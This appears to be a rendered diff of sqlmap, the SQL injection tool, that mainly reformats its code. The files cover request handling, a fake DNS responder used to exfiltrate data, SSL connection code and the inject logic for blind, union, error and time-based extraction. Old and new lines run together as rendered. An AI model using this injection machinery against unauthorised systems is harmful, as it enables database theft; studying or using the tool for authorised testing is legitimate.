page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent,
auxHeaders=auxHeaders, response=response, raise404=False,
ignoreTimeout=timeBasedCompare, refreshing=True)
elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in _urllib.parse.unquote(value or ""): elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in _urllib.parse.unquote(value or ""):
def _(value): def _(value):
if kb.customInjectionMark in (value or ""): if kb.customInjectionMark in (value or ""):
@ -1562,7 +1688,12 @@ class Connect(object):
except re.error: except re.error:
value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), re.escape(payload), value) value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), re.escape(payload), value)
return value return value
page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]),
method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent,
auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])),
response=response, raise404=False, ignoreTimeout=timeBasedCompare,
refreshing=True)
threadData.lastQueryDuration = calculateDeltaSeconds(start) threadData.lastQueryDuration = calculateDeltaSeconds(start)
@ -1596,9 +1727,14 @@ class Connect(object):
return page, headers, code return page, headers, code
if getRatioValue: if getRatioValue:
return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength) return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page,
headers,
code,
getRatioValue=True,
pageLength=pageLength)
else: else:
return comparison(page, headers, code, getRatioValue, pageLength) return comparison(page, headers, code, getRatioValue, pageLength)
def setHTTPHandlers(): # Cross-referenced function def setHTTPHandlers(): # Cross-referenced function
raise NotImplementedError raise NotImplementedError

View File

@ -29,6 +29,7 @@ from lib.core.settings import UNICODE_ENCODING
from lib.utils.safe2bin import safecharencode from lib.utils.safe2bin import safecharencode
from lib.utils.timeout import timeout from lib.utils.timeout import timeout
def direct(query, content=True): def direct(query, content=True):
select = True select = True
query = agent.payloadDirect(query) query = agent.payloadDirect(query)

View File

@ -15,6 +15,7 @@ import struct
import threading import threading
import time import time
class DNSQuery(object): class DNSQuery(object):
""" """
>>> DNSQuery(b'|K\\x01 \\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x03www\\x06google\\x03com\\x00\\x00\\x01\\x00\\x01\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\n\\x00\\x08O4|Np!\\x1d\\xb3')._query == b"www.google.com." >>> DNSQuery(b'|K\\x01 \\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x03www\\x06google\\x03com\\x00\\x00\\x01\\x00\\x01\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\n\\x00\\x08O4|Np!\\x1d\\xb3')._query == b"www.google.com."
@ -28,9 +29,9 @@ class DNSQuery(object):
self._query = b"" self._query = b""
try: try:
type_ = (ord(raw[2:3]) >> 3) & 15 # Opcode bits type_ = (ord(raw[2:3]) >> 3) & 15 # Opcode bits
if type_ == 0: # Standard query if type_ == 0: # Standard query
i = 12 i = 12
j = ord(raw[i:i + 1]) j = ord(raw[i:i + 1])
@ -49,19 +50,20 @@ class DNSQuery(object):
retVal = b"" retVal = b""
if self._query: if self._query:
retVal += self._raw[:2] # Transaction ID retVal += self._raw[:2] # Transaction ID
retVal += b"\x85\x80" # Flags (Standard query response, No error) retVal += b"\x85\x80" # Flags (Standard query response, No error)
retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts
retVal += self._raw[12:(12 + self._raw[12:].find(b"\x00") + 5)] # Original Domain Name Query retVal += self._raw[12:(12 + self._raw[12:].find(b"\x00") + 5)] # Original Domain Name Query
retVal += b"\xc0\x0c" # Pointer to domain name retVal += b"\xc0\x0c" # Pointer to domain name
retVal += b"\x00\x01" # Type A retVal += b"\x00\x01" # Type A
retVal += b"\x00\x01" # Class IN retVal += b"\x00\x01" # Class IN
retVal += b"\x00\x00\x00\x20" # TTL (32 seconds) retVal += b"\x00\x00\x00\x20" # TTL (32 seconds)
retVal += b"\x00\x04" # Data length retVal += b"\x00\x04" # Data length
retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP
return retVal return retVal
class DNSServer(object): class DNSServer(object):
""" """
Used for making fake DNS resolution responses based on received Used for making fake DNS resolution responses based on received
@ -93,7 +95,8 @@ class DNSServer(object):
try: try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("", 53)) s.connect(("", 53))
s.send(binascii.unhexlify("6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000")) # A www.google.com s.send(binascii.unhexlify(
"6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000")) # A www.google.com
response = s.recv(512) response = s.recv(512)
except: except:
pass pass
@ -152,6 +155,7 @@ class DNSServer(object):
thread.daemon = True thread.daemon = True
thread.start() thread.start()
if __name__ == "__main__": if __name__ == "__main__":
server = None server = None
try: try:

View File

@ -23,14 +23,17 @@ from thirdparty.six.moves import urllib as _urllib
ssl = None ssl = None
try: try:
import ssl as _ssl import ssl as _ssl
ssl = _ssl ssl = _ssl
except ImportError: except ImportError:
pass pass
_protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2")) _protocols = filterNone(getattr(ssl, _, None) for _ in (
"PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"))
_lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_")) _lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_"))
_contexts = {} _contexts = {}
class HTTPSConnection(_http_client.HTTPSConnection): class HTTPSConnection(_http_client.HTTPSConnection):
""" """
Connection class that enables usage of newer SSL protocols. Connection class that enables usage of newer SSL protocols.
@ -77,7 +80,9 @@ class HTTPSConnection(_http_client.HTTPSConnection):
_contexts[protocol].set_ciphers("DEFAULT@SECLEVEL=1") _contexts[protocol].set_ciphers("DEFAULT@SECLEVEL=1")
except ssl.SSLError: except ssl.SSLError:
pass pass
result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host if re.search(r"\A[\d.]+\Z", self.host or "") is None else None) result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True,
server_hostname=self.host if re.search(r"\A[\d.]+\Z",
self.host or "") is None else None)
if result: if result:
success = True success = True
self.sock = result self.sock = result
@ -88,13 +93,15 @@ class HTTPSConnection(_http_client.HTTPSConnection):
sock.close() sock.close()
except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex: except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
self._tunnel_host = None self._tunnel_host = None
logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex))) logger.debug(
"SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex)))
elif hasattr(ssl, "wrap_socket"): elif hasattr(ssl, "wrap_socket"):
for protocol in _protocols: for protocol in _protocols:
try: try:
sock = create_sock() sock = create_sock()
_ = ssl.wrap_socket(sock, keyfile=getattr(self, "key_file"), certfile=getattr(self, "cert_file"), ssl_version=protocol) _ = ssl.wrap_socket(sock, keyfile=getattr(self, "key_file"), certfile=getattr(self, "cert_file"),
ssl_version=protocol)
if _: if _:
success = True success = True
self.sock = _ self.sock = _
@ -105,7 +112,8 @@ class HTTPSConnection(_http_client.HTTPSConnection):
sock.close() sock.close()
except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex: except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
self._tunnel_host = None self._tunnel_host = None
logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex))) logger.debug(
"SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex)))
if not success: if not success:
errMsg = "can't establish SSL connection" errMsg = "can't establish SSL connection"
@ -128,6 +136,7 @@ class HTTPSConnection(_http_client.HTTPSConnection):
else: else:
kb.sslSuccess = True kb.sslSuccess = True
class HTTPSHandler(_urllib.request.HTTPSHandler): class HTTPSHandler(_urllib.request.HTTPSHandler):
def https_open(self, req): def https_open(self, req):
return self.do_open(HTTPSConnection if ssl else _http_client.HTTPSConnection, req) return self.do_open(HTTPSConnection if ssl else _http_client.HTTPSConnection, req)

View File

@ -68,6 +68,7 @@ from lib.techniques.error.use import errorUse
from lib.techniques.union.use import unionUse from lib.techniques.union.use import unionUse
from thirdparty import six from thirdparty import six
def _goDns(payload, expression): def _goDns(payload, expression):
value = None value = None
@ -80,6 +81,7 @@ def _goDns(payload, expression):
return value return value
def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False, field=None): def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False, field=None):
start = time.time() start = time.time()
value = None value = None
@ -103,17 +105,23 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
kb.forceThreads = readInput(msg, default='N', boolean=True) kb.forceThreads = readInput(msg, default='N', boolean=True)
if not (timeBasedCompare and kb.dnsTest): if not (timeBasedCompare and kb.dnsTest):
if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads): if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(",
expression, re.I) and not (
timeBasedCompare and not kb.forceThreads):
if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I): if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CUBRID): if Backend.getIdentifiedDbms() in (
DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CUBRID):
alias = randomStr(lowercase=True, seed=hash(expression)) alias = randomStr(lowercase=True, seed=hash(expression))
expression = "SELECT %s FROM (%s)" % (field if '.' not in field else re.sub(r".+\.", "%s." % alias, field), expression) # Note: MonetDB as a prime example expression = "SELECT %s FROM (%s)" % (
field if '.' not in field else re.sub(r".+\.", "%s." % alias, field),
expression) # Note: MonetDB as a prime example
expression += " AS %s" % alias expression += " AS %s" % alias
else: else:
expression = "SELECT %s FROM (%s)" % (field, expression) expression = "SELECT %s FROM (%s)" % (field, expression)
if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields or Backend.getIdentifiedDbms() in (DBMS.RAIMA,): if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields or Backend.getIdentifiedDbms() in (
DBMS.RAIMA,):
nulledCastedField = agent.nullAndCastField(field) nulledCastedField = agent.nullAndCastField(field)
injExpression = expression.replace(field, nulledCastedField, 1) injExpression = expression.replace(field, nulledCastedField, 1)
else: else:
@ -127,12 +135,15 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
kb.inferenceMode = False kb.inferenceMode = False
if not kb.bruteMode: if not kb.bruteMode:
debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start)) debugMsg = "performed %d quer%s in %.2f seconds" % (
count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start))
logger.debug(debugMsg) logger.debug(debugMsg)
return value return value
def _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
def _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=None, charsetType=None,
firstChar=None, lastChar=None, dump=False):
outputs = [] outputs = []
origExpr = None origExpr = None
@ -160,7 +171,9 @@ def _goInferenceFields(expression, expressionFields, expressionFieldsList, paylo
return outputs return outputs
def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False):
def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None,
lastChar=None, dump=False):
""" """
Retrieve the output of a SQL query characted by character taking Retrieve the output of a SQL query characted by character taking
advantage of an blind SQL injection vulnerability on the affected advantage of an blind SQL injection vulnerability on the affected
@ -198,14 +211,19 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
# forge the SQL limiting the query output one entry at a time # forge the SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table # NOTE: we assume that only queries that get data from a table
# can return multiple entries # can return multiple entries
if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I) and hasattr(queries[Backend.getIdentifiedDbms()].limitregexp, "query"): if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (
Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(
FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression,
re.I) and hasattr(
queries[Backend.getIdentifiedDbms()].limitregexp, "query"):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression) expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression)
if limitCond: if limitCond:
test = True test = True
if not stopLimit or stopLimit <= 1: if not stopLimit or stopLimit <= 1:
if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().endswith(
FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
test = False test = False
if test: if test:
@ -218,7 +236,8 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
countedExpression = countedExpression[:_] countedExpression = countedExpression[:_]
if not stopLimit: if not stopLimit:
count = _goInference(payload, countedExpression, charsetType=CHARSET_TYPE.DIGITS, firstChar=firstChar, lastChar=lastChar) count = _goInference(payload, countedExpression, charsetType=CHARSET_TYPE.DIGITS,
firstChar=firstChar, lastChar=lastChar)
if isNumPosStrValue(count): if isNumPosStrValue(count):
count = int(count) count = int(count)
@ -288,7 +307,9 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
try: try:
try: try:
for num in xrange(startLimit or 0, stopLimit or 0): for num in xrange(startLimit or 0, stopLimit or 0):
output = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) output = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload,
num=num, charsetType=charsetType, firstChar=firstChar,
lastChar=lastChar, dump=dump)
outputs.append(output) outputs.append(output)
except OverflowError: except OverflowError:
errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
@ -302,13 +323,16 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
return outputs return outputs
elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper(): elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().startswith(
"SELECT ") and " FROM " not in expression.upper():
expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()] expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]
outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType,
firstChar=firstChar, lastChar=lastChar, dump=dump)
return ", ".join(output or "" for output in outputs) if not isNoneValue(outputs) else None return ", ".join(output or "" for output in outputs) if not isNoneValue(outputs) else None
def _goBooleanProxy(expression): def _goBooleanProxy(expression):
""" """
Retrieve the output of a boolean based SQL query Retrieve the output of a boolean based SQL query
@ -343,6 +367,7 @@ def _goBooleanProxy(expression):
return output return output
def _goUnion(expression, unpack=True, dump=False): def _goUnion(expression, unpack=True, dump=False):
""" """
Retrieve the output of a SQL query taking advantage of an union SQL Retrieve the output of a SQL query taking advantage of an union SQL
@ -356,9 +381,12 @@ def _goUnion(expression, unpack=True, dump=False):
return output return output
@lockedmethod @lockedmethod
@stackedmethod @stackedmethod
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False,
unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False,
suppressOutput=None, expectingNone=False, safeCharEncode=True):
""" """
Called each time sqlmap inject a SQL query on the SQL injection Called each time sqlmap inject a SQL query on the SQL injection
affected parameter. affected parameter.
@ -411,7 +439,8 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
setTechnique(PAYLOAD.TECHNIQUE.UNION) setTechnique(PAYLOAD.TECHNIQUE.UNION)
kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8] kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8]
fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion fallback = not expected and kb.injection.data[
PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion
if expected == EXPECTED.BOOL: if expected == EXPECTED.BOOL:
# Note: some DBMSes (e.g. Altibase) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq') # Note: some DBMSes (e.g. Altibase) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq')
@ -426,7 +455,8 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
raise raise
count += 1 count += 1
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE found = (value is not None) or (
value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if not found and fallback: if not found and fallback:
warnMsg = "something went wrong with full UNION " warnMsg = "something went wrong with full UNION "
@ -446,14 +476,19 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
else: else:
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: if error and any(isTechniqueAvailable(_) for _ in
setTechnique(PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY) (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found:
setTechnique(PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(
PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY)
value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump)
count += 1 count += 1
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE found = (value is not None) or (
value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if found and conf.dnsDomain: if found and conf.dnsDomain:
_ = "".join(filterNone(key if isTechniqueAvailable(value) else None for key, value in {'E': PAYLOAD.TECHNIQUE.ERROR, 'Q': PAYLOAD.TECHNIQUE.QUERY, 'U': PAYLOAD.TECHNIQUE.UNION}.items())) _ = "".join(filterNone(key if isTechniqueAvailable(value) else None for key, value in
{'E': PAYLOAD.TECHNIQUE.ERROR, 'Q': PAYLOAD.TECHNIQUE.QUERY,
'U': PAYLOAD.TECHNIQUE.UNION}.items()))
warnMsg = "option '--dns-domain' will be ignored " warnMsg = "option '--dns-domain' will be ignored "
warnMsg += "as faster techniques are usable " warnMsg += "as faster techniques are usable "
warnMsg += "(%s) " % _ warnMsg += "(%s) " % _
@ -470,7 +505,8 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
count += 1 count += 1
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found: if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(
PAYLOAD.TECHNIQUE.STACKED)) and not found:
match = re.search(r"\bFROM\b ([^ ]+).+ORDER BY ([^ ]+)", expression) match = re.search(r"\bFROM\b ([^ ]+).+ORDER BY ([^ ]+)", expression)
kb.responseTimeMode = "%s|%s" % (match.group(1), match.group(2)) if match else None kb.responseTimeMode = "%s|%s" % (match.group(1), match.group(2)) if match else None
@ -500,7 +536,8 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
kb.safeCharEncode = False kb.safeCharEncode = False
if not any((kb.testMode, conf.dummy, conf.offline, conf.noCast, conf.hexConvert)) and value is None and Backend.getDbms() and conf.dbmsHandler and kb.fingerprinted: if not any((kb.testMode, conf.dummy, conf.offline, conf.noCast,
conf.hexConvert)) and value is None and Backend.getDbms() and conf.dbmsHandler and kb.fingerprinted:
if conf.abortOnEmpty: if conf.abortOnEmpty:
errMsg = "aborting due to empty data retrieval" errMsg = "aborting due to empty data retrieval"
logger.critical(errMsg) logger.critical(errMsg)
@ -534,7 +571,8 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
# Dirty patch (safe-encoded unicode characters) # Dirty patch (safe-encoded unicode characters)
if isinstance(value, six.text_type) and "\\x" in value: if isinstance(value, six.text_type) and "\\x" in value:
try: try:
candidate = eval(repr(value).replace("\\\\x", "\\x").replace("u'", "'", 1)).decode(conf.encoding or UNICODE_ENCODING) candidate = eval(repr(value).replace("\\\\x", "\\x").replace("u'", "'", 1)).decode(
conf.encoding or UNICODE_ENCODING)
if "\\x" not in candidate: if "\\x" not in candidate:
value = candidate value = candidate
except: except:
@ -542,6 +580,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
return extractExpectedValue(value, expected) return extractExpectedValue(value, expected)
def goStacked(expression, silent=False): def goStacked(expression, silent=False):
if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data: if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data:
setTechnique(PAYLOAD.TECHNIQUE.STACKED) setTechnique(PAYLOAD.TECHNIQUE.STACKED)
@ -560,7 +599,10 @@ def goStacked(expression, silent=False):
query = agent.prefixQuery(";%s" % expression) query = agent.prefixQuery(";%s" % expression)
query = agent.suffixQuery(query) query = agent.suffixQuery(query)
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
Request.queryPage(payload, content=False, silent=silent, noteResponseTime=False, timeBasedCompare="SELECT" in (payload or "").upper()) Request.queryPage(payload, content=False, silent=silent, noteResponseTime=False,
timeBasedCompare="SELECT" in (payload or "").upper())
def checkBooleanExpression(expression, expectingNone=True): def checkBooleanExpression(expression, expectingNone=True):
return getValue(expression, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, suppressOutput=True, expectingNone=expectingNone) return getValue(expression, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, suppressOutput=True,
expectingNone=expectingNone)

View File

@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
from lib.core.convert import getText from lib.core.convert import getText
from thirdparty.six.moves import urllib as _urllib from thirdparty.six.moves import urllib as _urllib
class MethodRequest(_urllib.request.Request): class MethodRequest(_urllib.request.Request):
""" """
Used to create HEAD/PUT/DELETE/... requests with urllib Used to create HEAD/PUT/DELETE/... requests with urllib

View File

@ -11,6 +11,7 @@ from lib.core.exception import SqlmapConnectionException
from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import http_client as _http_client
from thirdparty.six.moves import urllib as _urllib from thirdparty.six.moves import urllib as _urllib
class HTTPSPKIAuthHandler(_urllib.request.HTTPSHandler): class HTTPSPKIAuthHandler(_urllib.request.HTTPSHandler):
def __init__(self, auth_file): def __init__(self, auth_file):
_urllib.request.HTTPSHandler.__init__(self) _urllib.request.HTTPSHandler.__init__(self)
@ -22,7 +23,8 @@ class HTTPSPKIAuthHandler(_urllib.request.HTTPSHandler):
def getConnection(self, host, timeout=None): def getConnection(self, host, timeout=None):
try: try:
# Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain # Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain
return _http_client.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout) return _http_client.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file,
timeout=conf.timeout)
except IOError as ex: except IOError as ex:
errMsg = "error occurred while using key " errMsg = "error occurred while using key "
errMsg += "file '%s' ('%s')" % (self.auth_file, getSafeExString(ex)) errMsg += "file '%s' ('%s')" % (self.auth_file, getSafeExString(ex))

View File

@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapConnectionException
from thirdparty.six.moves import urllib as _urllib from thirdparty.six.moves import urllib as _urllib
class HTTPRangeHandler(_urllib.request.BaseHandler): class HTTPRangeHandler(_urllib.request.BaseHandler):
""" """
Handler that enables HTTP Range headers. Handler that enables HTTP Range headers.

View File

@ -34,6 +34,7 @@ from lib.request.basic import parseResponse
from thirdparty import six from thirdparty import six
from thirdparty.six.moves import urllib as _urllib from thirdparty.six.moves import urllib as _urllib
class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler): class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
def _get_header_redirect(self, headers): def _get_header_redirect(self, headers):
retVal = None retVal = None
@ -66,7 +67,8 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
self.redirect_request = self._redirect_request self.redirect_request = self._redirect_request
def _redirect_request(self, req, fp, code, msg, headers, newurl): def _redirect_request(self, req, fp, code, msg, headers, newurl):
return _urllib.request.Request(newurl.replace(' ', '%20'), data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host()) return _urllib.request.Request(newurl.replace(' ', '%20'), data=req.data, headers=req.headers,
origin_req_host=req.get_origin_req_host())
def http_error_302(self, req, fp, code, msg, headers): def http_error_302(self, req, fp, code, msg, headers):
start = time.time() start = time.time()
@ -94,7 +96,9 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
redirectMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, getUnicode(msg)) redirectMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, getUnicode(msg))
if headers: if headers:
logHeaders = "\r\n".join("%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in headers.items()) logHeaders = "\r\n".join(
"%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for
(key, value) in headers.items())
else: else:
logHeaders = "" logHeaders = ""
@ -125,7 +129,8 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER
last = None last = None
for part in getUnicode(req.headers.get(HTTP_HEADER.COOKIE, "")).split(delimiter) + ([headers[HTTP_HEADER.SET_COOKIE]] if HTTP_HEADER.SET_COOKIE in headers else []): for part in getUnicode(req.headers.get(HTTP_HEADER.COOKIE, "")).split(delimiter) + (
[headers[HTTP_HEADER.SET_COOKIE]] if HTTP_HEADER.SET_COOKIE in headers else []):
if '=' in part: if '=' in part:
part = part.strip() part = part.strip()
key, value = part.split('=', 1) key, value = part.split('=', 1)
@ -147,6 +152,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
except KeyError: except KeyError:
class _(object): class _(object):
pass pass
result = _() result = _()
